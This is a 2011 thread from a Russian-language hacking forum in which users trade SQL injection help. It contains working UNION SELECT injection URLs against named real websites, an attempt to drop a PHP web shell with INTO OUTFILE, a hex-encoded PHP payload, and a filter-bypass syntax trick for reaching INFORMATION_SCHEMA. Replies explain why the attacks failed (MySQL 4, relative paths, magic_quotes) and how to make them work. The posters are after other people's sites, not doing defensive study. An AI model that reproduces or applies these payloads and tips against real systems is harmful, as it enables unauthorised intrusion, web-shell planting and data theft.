06.07.2011, 22:07
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
Сообщение от ZARO
Так что фильтруется? Я не понял
%69nto+%6futfile+'[то что находится сдесь]'+--+
|
|
|
06.07.2011, 23:33
|
|
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами:
7921046
Репутация:
53
|
|
Сообщение от winstrool
есть запрос на заливку такого типа:
+%75nion+%73elect+1,2,0x3c3f20706870696e666f28293b 203f3e,4,5,6,7+%69nto+%6futfile+'/tmp/1.txt'+--+
там где /tmp/1.txt фильтруется, что сдесь можно придумать?
кавычки не фильтруются и не экранируются, load_file() так же работает нормально.
я не думаю, что там какая-то регулярка, которая вырезает данные между кавычками. Явно в чём-то другом проблема.
|
|
|
|
07.07.2011, 00:35
|
|
Познающий
Регистрация: 17.04.2009
Сообщений: 59
С нами:
8982831
Репутация:
37
|
|
Сообщение от Melfis
я не думаю, что там какая-то регулярка, которая вырезает данные между кавычками. Явно в чём-то другом проблема.
угу) я тоже так думаю. лучше поделись ссылкой
|
|
|
|
07.07.2011, 00:36
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
2 колонки, версию и тп выводит нормально, хочу вывести названия таблиц и выводит ошибку
http://www.tmgrupo.ru/info.php?id_article=-5+union+select+table_name,2+from+information_schem a.tables--+
почему?
|
|
|
|
07.07.2011, 00:40
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами:
9061916
Репутация:
0
|
|
Сообщение от qaz
2 колонки, версию и тп выводит нормально, хочу вывести названия таблиц и выводит ошибку
http://www.tmgrupo.ru/info.php?id_article=-5+union+select+table_name,2+from+information_schem a.tables--+
почему?
потому что это 4ая ветка. в ней нет information_schema
|
|
|
|
07.07.2011, 01:17
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
Сообщение от d1v
потому что это 4ая ветка. в ней нет information_schema
понял, спасибо,
вот ещо вопрос
я хотел попробовать залить шелл как написано в статье
http://www.velotaxi.com/php/main.php?id=1+union+select+1,2,''+INTO+OUTFILE '1.php'--+
но ничего не получилось, почему?
|
|
|
|
07.07.2011, 01:20
|
|
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами:
9061916
Репутация:
0
|
|
Сообщение от qaz
понял, спасибо,
вот ещо вопрос
я хотел попробовать залить шелл как написано в статье
http://www.velotaxi.com/php/main.php?id=1+union+select+1,2,''+INTO+OUTFILE '1.php'--+
но ничего не получилось, почему?
потому что путь до 1.php должен быть полный, а не относительный - это первое что, бросилось в глаза.
во-вторых залить шелл ты можешь только в папку доступную на запись (с) К.О.
ну и magic quotes должны быть off.
|
|
|
|
07.07.2011, 01:21
|
|
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами:
7921046
Репутация:
53
|
|
Сообщение от qaz
понял, спасибо,
вот ещо вопрос
я хотел попробовать залить шелл как написано в статье
http://www.velotaxi.com/php/main.php?id=1+union+select+1,2,''+INTO+OUTFILE '1.php'--+
но ничего не получилось, почему?
magic_quotes. Тобишь кавычки фильтруются.
|
|
|
|
07.07.2011, 01:22
|
|
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
С нами:
9567396
Репутация:
23
|
|
На уровне веб-сервера фильтруется сочетание INFORMATION_SCHEMA.TABLES. Можно как-то обойти с помощью тонкостей синтаксиса MySQL?
Сообщение от None
script.php?id=5+UNION(SELECT(1),(2),(3),(4),(5),(6 )FROM(INFORMATION_SCHEMA.TABLES))--
|
|
|
|
07.07.2011, 01:22
|
|
Новичок
Регистрация: 23.02.2010
Сообщений: 3
С нами:
8534431
Репутация:
76
|
|
Подскажите плиз нормальный пример скрипта на ПХП для бинарного поиска mysql inj
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
